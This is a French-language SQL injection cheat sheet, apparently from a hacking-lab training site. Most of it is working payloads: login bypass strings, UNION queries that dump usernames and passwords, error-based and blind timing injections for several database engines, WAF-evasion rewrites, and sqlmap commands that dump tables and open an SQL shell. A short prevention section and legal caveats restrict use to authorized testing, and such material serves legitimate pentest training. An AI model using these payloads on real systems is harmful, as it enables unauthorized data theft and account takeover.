Antisèche Injection SQL 2026 : Payloads et Contournements

Web Security
14 min de lecture
Antisèche Injection SQL 2026 : Payloads et Contournements
Sur cette page
  1. Navigation rapide
  2. Qu'est-ce qu'une antisèche injection SQL ?
  3. Payloads de détection : est-ce injectable ?
  4. Payloads de contournement d'authentification
  5. Extraction de données par UNION
    1. Étape 1 : compter les colonnes
    2. Étape 2 : trouver les colonnes affichées
    3. Étape 3 : extraire les vraies données
  6. Injection par erreur
  7. Payloads d'injection SQL aveugle
    1. Basée sur les booléens
    2. Basée sur le temps
  8. Référence de syntaxe des bases de données
  9. Énumération du schéma
  10. Contournement de WAF et de filtres
  11. Référence rapide sqlmap
  12. Antisèche de prévention
  13. Pratiquez vos compétences en injection SQL
    1. Labs recommandés
  14. Foire aux questions
  15. Considérations légales et éthiques
  16. Vos prochaines étapes

Chaque pentesteur finit avec sa réserve mentale de payloads d'injection SQL : le guillemet qui casse une authentification, le UNION SELECT qui vide une table d'utilisateurs, le SLEEP() qui prouve une vulnérabilité aveugle. Cette antisèche injection SQL rassemble ceux qui fonctionnent vraiment en 2026, classés par type d'attaque et par base de données, pour arrêter de deviner la syntaxe en pleine mission.

L'injection SQL est l'entrée classique de la catégorie injection du OWASP Top 10, et elle est encore partout. Envie d'essayer ces payloads en direct pendant votre lecture ? Lancez le lab Query Quake et injectez contre une vraie base de données dans votre navigateur, sans aucune installation.

En bref : une antisèche injection SQL est une référence rapide de payloads pour la détection, le contournement d'authentification, l'extraction de données par UNION et l'exploitation aveugle (booléenne et temporelle). Les trois plus utilisés sont ' OR '1'='1 pour tester les formulaires de connexion, ' UNION SELECT NULL,NULL-- pour identifier le nombre de colonnes, et ' AND SLEEP(5)-- pour confirmer une injection aveugle par délai de réponse. La syntaxe diffère entre MySQL, PostgreSQL, Microsoft SQL Server, Oracle et SQLite : adaptez le payload au moteur.

Qu'est-ce qu'une antisèche injection SQL ?

Une antisèche injection SQL est une référence compacte de chaînes et de requêtes d'injection que les testeurs utilisent pour trouver et exploiter la SQLi sans mémoriser la syntaxe de chaque moteur de base de données. Elle regroupe les payloads par objectif : détecter la faille, contourner une authentification, lire des données avec UNION, ou les extraire à l'aveugle, un caractère à la fois.

L'injection occupe le rang A03 du OWASP Top 10. Dans l'analyse OWASP de 2021, 94 % des applications testées présentaient une forme d'injection, avec 274 000 occurrences dans le jeu de données. L'injection SQL correspond à CWE-89 et reste la variante la plus courante, ce qui explique pourquoi une bonne référence est rentable sur presque chaque mission web.

Cette antisèche est conçue pour les tests autorisés : périmètres de bug bounty, épreuves CTF et vos propres cibles de lab. Si vous découvrez l'attaque elle-même, commencez par notre tutoriel d'injection SQL pour le comment et le pourquoi, puis revenez ici pour les payloads.

💻
Pratiquez maintenant : Query Quake - l'un des labs web les plus populaires de HackerDNA, où vous lancez de l'injection par UNION et par erreur contre une base de données en direct, dans le navigateur.

Payloads de détection : est-ce injectable ?

Avant toute finesse, confirmez que l'entrée atteint une requête. L'objectif est un payload qui modifie la réponse de façon prévisible : une erreur, un jeu de résultats différent, ou un décalage de temps. Testez une entrée à la fois et observez ce qui casse.

Payload Ce qu'il teste
' Le guillemet simple casse un contexte de chaîne (cherchez une erreur SQL)
" Guillemet double pour les moteurs qui l'utilisent
' OR '1'='1 Condition toujours vraie qui change le jeu de résultats
' AND '1'='2 Condition toujours fausse (le résultat doit disparaître)
1' ORDER BY 1-- Incrémentez le nombre pour compter les colonnes
' OR SLEEP(5)-- - Test de temps quand rien ne s'affiche à l'écran
%27 Guillemet encodé en URL pour les paramètres GET

Astuce de pro : le suffixe -- - (tiret tiret espace tiret) met en commentaire le reste de la requête sous MySQL et est plus sûr qu'un -- seul, qui exige un caractère d'espacement à sa suite. Dans les URL, rappelez-vous que l'espace devient + ou %20.

Sur des applications réelles, un paramètre numérique qui renvoie discrètement des lignes différentes pour ?id=1 AND 1=1 et ?id=1 AND 1=2 est un signal plus fort qu'une erreur brute, car beaucoup d'applications masquent les erreurs de base de données en production.

Payloads de contournement d'authentification

Le contournement d'authentification classique fonctionne quand l'application construit une requête du type SELECT * FROM users WHERE user='INPUT' AND pass='INPUT' sans la paramétrer. Vous mettez en commentaire la vérification du mot de passe ou vous forcez la clause WHERE à vrai. Placez ces payloads dans le champ du nom d'utilisateur.

Payload Effet
' OR '1'='1'-- - Met en commentaire la comparaison du mot de passe
admin'-- - Se connecter en tant qu'admin, ignorer le mot de passe
admin'# Même idée, commentaire dièse de MySQL
' OR 1=1 LIMIT 1-- - Forcer une ligne quand l'application en attend une seule
') OR ('1'='1 Fermer d'abord une condition entre parenthèses

Si le premier payload échoue, la structure de la requête est sûrement différente (parenthèses supplémentaires, style de guillemet différent, ou recherche d'un mot de passe haché). Variez les caractères de fermeture avant d'abandonner. Le contournement d'authentification est l'un des gains les plus rapides à pratiquer dans le cours sur les attaques web, qui explique pourquoi chaque contournement se déclenche.

Extraction de données par UNION

Quand les résultats de la requête s'affichent sur la page, UNION SELECT est le moyen le plus rapide de lire des données arbitraires. Il ajoute votre propre jeu de résultats à l'original. Deux règles le font fonctionner : votre SELECT injecté doit renvoyer le même nombre de colonnes, et les types de données des colonnes doivent être compatibles.

Étape 1 : compter les colonnes

# Incrémentez jusqu'à ce que la page renvoie une erreur ou que la mise en page casse
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -

# Ou sondez avec des NULL jusqu'à l'absence d'erreur
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -

Étape 2 : trouver les colonnes affichées

# Remplacez les NULL par des marqueurs pour voir lesquelles se reflètent à l'écran
' UNION SELECT 'a','b','c'-- -
' UNION SELECT 1,2,3-- -

Étape 3 : extraire les vraies données

# MySQL : base de données courante, version et utilisateur
' UNION SELECT database(),version(),user()-- -

# Concaténer plusieurs valeurs dans une seule colonne visible
' UNION SELECT NULL,CONCAT(username,':',password),NULL FROM users-- -

# MySQL : vider tous les noms d'utilisateur et mots de passe dans une ligne
' UNION SELECT NULL,GROUP_CONCAT(username,0x3a,password),NULL FROM users-- -

Astuce de pro : 0x3a est un deux-points en hexadécimal. L'usage de l'hexa évite tout guillemet, ce qui contourne certains filtres naïfs qui suppriment ou échappent les guillemets. GROUP_CONCAT (MySQL) et STRING_AGG (PostgreSQL, MSSQL 2017+) regroupent plusieurs lignes dans un seul champ pour tout extraire en une requête.

Injection par erreur

Si l'application laisse fuir les erreurs de base de données, vous pouvez forcer le moteur à afficher des données dans le message d'erreur. C'est plus rapide que l'extraction aveugle car chaque requête renvoie une valeur complète. Adaptez la fonction au moteur.

Base de données Payload par erreur
MySQL ' AND extractvalue(1,concat(0x7e,version()))-- -
MySQL (updatexml) ' AND updatexml(1,concat(0x7e,(SELECT user())),1)-- -
PostgreSQL ' AND 1=CAST(version() AS int)-- -
MSSQL ' AND 1=CONVERT(int,@@version)-- -
Oracle ' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT user FROM dual))-- -

Le 0x7e est un marqueur tilde qui rend la valeur injectée facile à repérer dans le texte de l'erreur. Si vous voyez la chaîne de version entourée de tildes, l'extraction par erreur est active et vous pouvez remplacer version() par n'importe quelle sous-requête.

Payloads d'injection SQL aveugle

Aucune sortie et aucune erreur signifie injection aveugle. Vous posez à la base de données des questions vraies ou fausses et lisez la réponse dans la réaction : un payload booléen change le contenu de la page, un payload temporel change la durée de la réponse. C'est plus lent, alors automatisez une fois le motif confirmé. Pour la méthodologie complète, voyez notre guide de l'injection SQL aveugle.

Basée sur les booléens

# Comparez les réponses à ces deux payloads - un contenu différent signifie injectable
' AND 1=1-- -
' AND 1=2-- -

# Extraire un caractère à la fois (premier caractère du nom de la base)
' AND SUBSTRING(database(),1,1)='a'-- -

# Confirmer qu'un hash de mot de passe commence par un caractère connu
' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='5'-- -

Basée sur le temps

Base de données Payload de délai
MySQL ' AND SLEEP(5)-- -
PostgreSQL ' AND pg_sleep(5)-- -
MSSQL '; WAITFOR DELAY '0:0:5'-- -
Oracle ' AND 1=dbms_pipe.receive_message('a',5)-- -

Un délai conditionnel transforme le temps en canal booléen : ' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)-- - ne temporise que si la supposition est correcte. En pratique, lancez trois requêtes par caractère et prenez le temps médian pour filtrer la gigue réseau.

Référence de syntaxe des bases de données

La moitié de l'injection SQL consiste à savoir à quel dialecte vous parlez. Identifiez d'abord le moteur, puis utilisez la syntaxe correspondante. Ce tableau est la partie de l'antisèche que vous mettrez en favori.

Tâche MySQL PostgreSQL MSSQL Oracle
Version version() version() @@version banner FROM v$version
Utilisateur courant user() current_user SYSTEM_USER USER FROM dual
Concaténation CONCAT(a,b) a||b a+b a||b
Commentaire -- - ou # -- - -- - -- -
Sous-chaîne SUBSTRING() SUBSTRING() SUBSTRING() SUBSTR()
SELECT sans FROM (optionnel) (optionnel) (optionnel) exige FROM dual

Identifiez vite : essayez une sonde de concaténation. Si ' UNION SELECT 'a'||'b' renvoie ab, vous êtes sous PostgreSQL ou Oracle. Si seul CONCAT('a','b') marche, c'est MySQL. Si 'a'+'b' marche, c'est MSSQL.

Énumération du schéma

Une fois que vous pouvez lire des données, cartographiez la base. Les vues information_schema existent sous MySQL, PostgreSQL et MSSQL. Oracle utilise plutôt ses propres vues du dictionnaire de données.

# Lister toutes les tables (MySQL / PostgreSQL / MSSQL)
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables-- -

# Lister les colonnes d'une table cible
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'-- -

# Oracle : lister les tables et les colonnes
' UNION SELECT NULL,table_name,NULL FROM all_tables-- -
' UNION SELECT NULL,column_name,NULL FROM all_tab_columns WHERE table_name='USERS'-- -

De là, il n'y a qu'un pas jusqu'aux tables intéressantes : utilisateurs, identifiants, jetons de session, clés d'API. Filtrez information_schema.columns sur des noms comme pass, token ou secret pour trouver rapidement les données à forte valeur.

Contournement de WAF et de filtres

Les pare-feu applicatifs et les filtres d'entrée bloquent les payloads évidents. Lors de tests autorisés, il faut souvent réécrire un payload pour qu'il signifie la même chose pour la base de données sans correspondre à la signature du filtre. Ce sont les réécritures standards, pas de l'évitement de détection pour lui-même.

Technique Exemple
Variation de casse UnIoN SeLeCt
Commentaires en ligne UN/**/ION SE/**/LECT
Sans espaces 'UNION(SELECT(username)FROM(users))-- -
Substituts d'espace Remplacez l'espace par %09, %0a ou +
Double encodage URL %2527 se décode deux fois en '
Imbrication de mots-clés UNIOUNIONN SELESELECTCT survit à une seule suppression

Un filtre qui supprime le mot UNION exactement une fois transforme UNIOUNIONN en UNION : la suppression réassemble le mot-clé. Pratiquez ces réécritures contre un vrai filtre dans le lab de contournement SQLi par regex, conçu spécialement pour vaincre un filtre d'entrée naïf.

Référence rapide sqlmap

Les payloads manuels prouvent la vulnérabilité. Pour l'extraction à grande échelle, sqlmap automatise la même logique. Utilisez-le uniquement dans votre périmètre autorisé, et commencez léger avant d'augmenter les options de risque et de niveau.

# Tester un seul paramètre d'URL
sqlmap -u "https://target.example/item?id=1" --batch

# Utiliser une requête Burp enregistrée (en-têtes, cookies, corps POST)
sqlmap -r request.txt --batch

# Énumérer les bases, puis les tables, puis vider
sqlmap -u "https://target.example/item?id=1" --dbs
sqlmap -u "https://target.example/item?id=1" -D appdb --tables
sqlmap -u "https://target.example/item?id=1" -D appdb -T users --dump

# Insister quand un test simple ne trouve rien
sqlmap -u "https://target.example/item?id=1" --level=5 --risk=3

# Obtenir un shell SQL interactif
sqlmap -u "https://target.example/item?id=1" --sql-shell

Astuce de pro : donnez à sqlmap un fichier de requête brute avec -r plutôt que de retaper l'URL. Il récupère automatiquement les cookies, les en-têtes d'authentification et les corps POST, ce qui compte pour tout ce qui se trouve derrière une connexion. Le cours interactif d'antisèche sqlmap de HackerDNA travaille ces options avec des vérifications de connaissances.

Antisèche de prévention

Connaître les payloads représente la moitié du travail. L'autre moitié consiste à savoir pourquoi ils échouent contre du bon code, afin de rapporter des correctifs qui tiennent. La défense la plus efficace de loin est la requête paramétrée, aussi appelée instruction préparée. Elle envoie le SQL et les données par des canaux séparés, si bien que l'entrée utilisateur n'est jamais interprétée comme du code.

Défense Pourquoi ça marche
Requêtes paramétrées Données et code voyagent séparément : les guillemets ne s'échappent jamais
Procédures stockées (paramétrées) Même séparation quand elles évitent le SQL dynamique interne
Validation par liste d'autorisation Rejette les caractères inattendus, par exemple pour l'ordre de tri
Comptes BD à moindre privilège Limite les dégâts quand l'injection passe malgré tout
ORM avec paramètres liés Sûr par défaut, mais surveillez les échappatoires en requête brute

Un WAF est un ralentisseur utile, pas un correctif. Chaque contournement de la section ci-dessus existe précisément parce que des équipes ont traité le pare-feu comme la solution. Pour le détail côté développeur, lisez notre guide de prévention de l'injection SQL, qui couvre les instructions préparées dans chaque langage majeur.

Pratiquez vos compétences en injection SQL

Copier des payloads est un début. Les réussir contre une cible qui résiste, c'est là que la compétence se forme vraiment. Une antisèche vous dit quoi taper ; un lab vous apprend à lire la réponse et à ajuster quand la première tentative ne donne rien.

Labs recommandés

  • Query Quake Injection par UNION et par erreur contre une base en direct, dans le navigateur
  • Regex Bypass SQLi Réécrire des payloads pour passer un filtre d'entrée naïf
  • SQL Injection Test Un environnement propre pour confirmer chaque payload de cette antisèche

Prêt à injecter ? Commencez avec l'offre gratuite de HackerDNA - sans carte bancaire - et lancez ces payloads contre des cibles réelles et légales dans votre navigateur.

Foire aux questions

Quel est le payload d'injection SQL le plus courant ?

Le guillemet simple (') est le payload de test le plus courant, car il sort d'une chaîne dans une requête non paramétrée et déclenche souvent une erreur visible. Pour les formulaires de connexion, ' OR '1'='1'-- - est le contournement d'authentification classique. Les deux figurent en tête de toute antisèche injection SQL.

Comment savoir quelle base de données j'attaque ?

Identifiez avec une sonde de concaténation. 'a'||'b' renvoyant ab désigne PostgreSQL ou Oracle, CONCAT('a','b') signifie MySQL, et 'a'+'b' signifie Microsoft SQL Server. Les fonctions de version (version(), @@version) confirment une fois que vous pouvez lire la sortie.

Utiliser une antisèche injection SQL est-il légal ?

Les payloads sont légaux à apprendre et à utiliser contre des systèmes qui vous appartiennent ou que vous êtes autorisé à tester : programmes de bug bounty dans le périmètre, épreuves CTF et labs de pratique. Les lancer contre tout autre système est un délit dans la plupart des pays. Limitez les tests aux cibles autorisées.

sqlmap remplace-t-il l'injection SQL manuelle ?

Non. sqlmap excelle à l'extraction une fois qu'une vulnérabilité existe, mais il rate les points d'injection propres au contexte et les structures de requête inhabituelles qu'un humain repère. Confirmez manuellement avec les payloads ici, puis confiez le paramètre confirmé à sqlmap pour le gros du travail.

Qu'est-ce qui arrête l'injection SQL pour de bon ?

Les requêtes paramétrées (instructions préparées). Elles séparent le code SQL des données utilisateur, si bien que l'entrée ne peut jamais être interprétée comme des commandes. La validation d'entrée, les comptes de base à moindre privilège et un ORM avec paramètres liés ajoutent de la profondeur, mais la paramétrisation est le correctif qui ferme réellement la faille.

Considérations légales et éthiques

Rappel essentiel : chaque payload de cette antisèche injection SQL est réservé aux tests autorisés. Utilisez-les contre des systèmes qui vous appartiennent, dans des programmes de bug bounty où la cible est dans le périmètre, ou sur des labs de pratique dédiés. Tester un système sans autorisation écrite explicite est illégal dans la plupart des juridictions, quelle que soit l'intention.

L'injection SQL peut lire, modifier et détruire des données. Sur une mission réelle, évitez les payloads destructifs (pas de DROP, pas d'UPDATE en production), n'extrayez que ce qui prouve l'impact, et documentez tout pour votre rapport. Le but est de démontrer le risque, pas de causer des dégâts.

Vos prochaines étapes

Cette antisèche injection SQL vous donne les payloads pour la détection, le contournement d'authentification, l'extraction par UNION, les fuites par erreur, l'exploitation aveugle, le contournement de filtres et la prévention, plus la syntaxe propre à chaque base pour les faire réussir. Mettez-la en favori, et adaptez chaque payload au moteur que vous identifiez.

Le moyen le plus rapide de retenir tout cela est de le lancer. Ouvrez le lab Query Quake, injectez contre une base en direct, et observez comment la réponse change à chaque payload. HackerDNA est basé sur le navigateur avec une offre gratuite : vous pouvez commencer à hacker des cibles légales dans les cinq prochaines minutes.

HackerDNA Team

Équipe HackerDNA

Écrit par l'équipe HackerDNA - des professionnels de la cybersécurité qui créent des labs de hacking pratiques et du contenu éducatif pour vous aider à développer des compétences réelles en sécurité.

Rencontrer l'équipe

Prêt à mettre cela en pratique?

Arrêtez de lire, commencez à hacker. Obtenez une expérience pratique avec plus de 170 labs de cybersécurité réels.

Commencer à Hacker Gratuitement
18 000+ Hackers 100+ Labs & Cours Gratuit
Commencer Gratuitement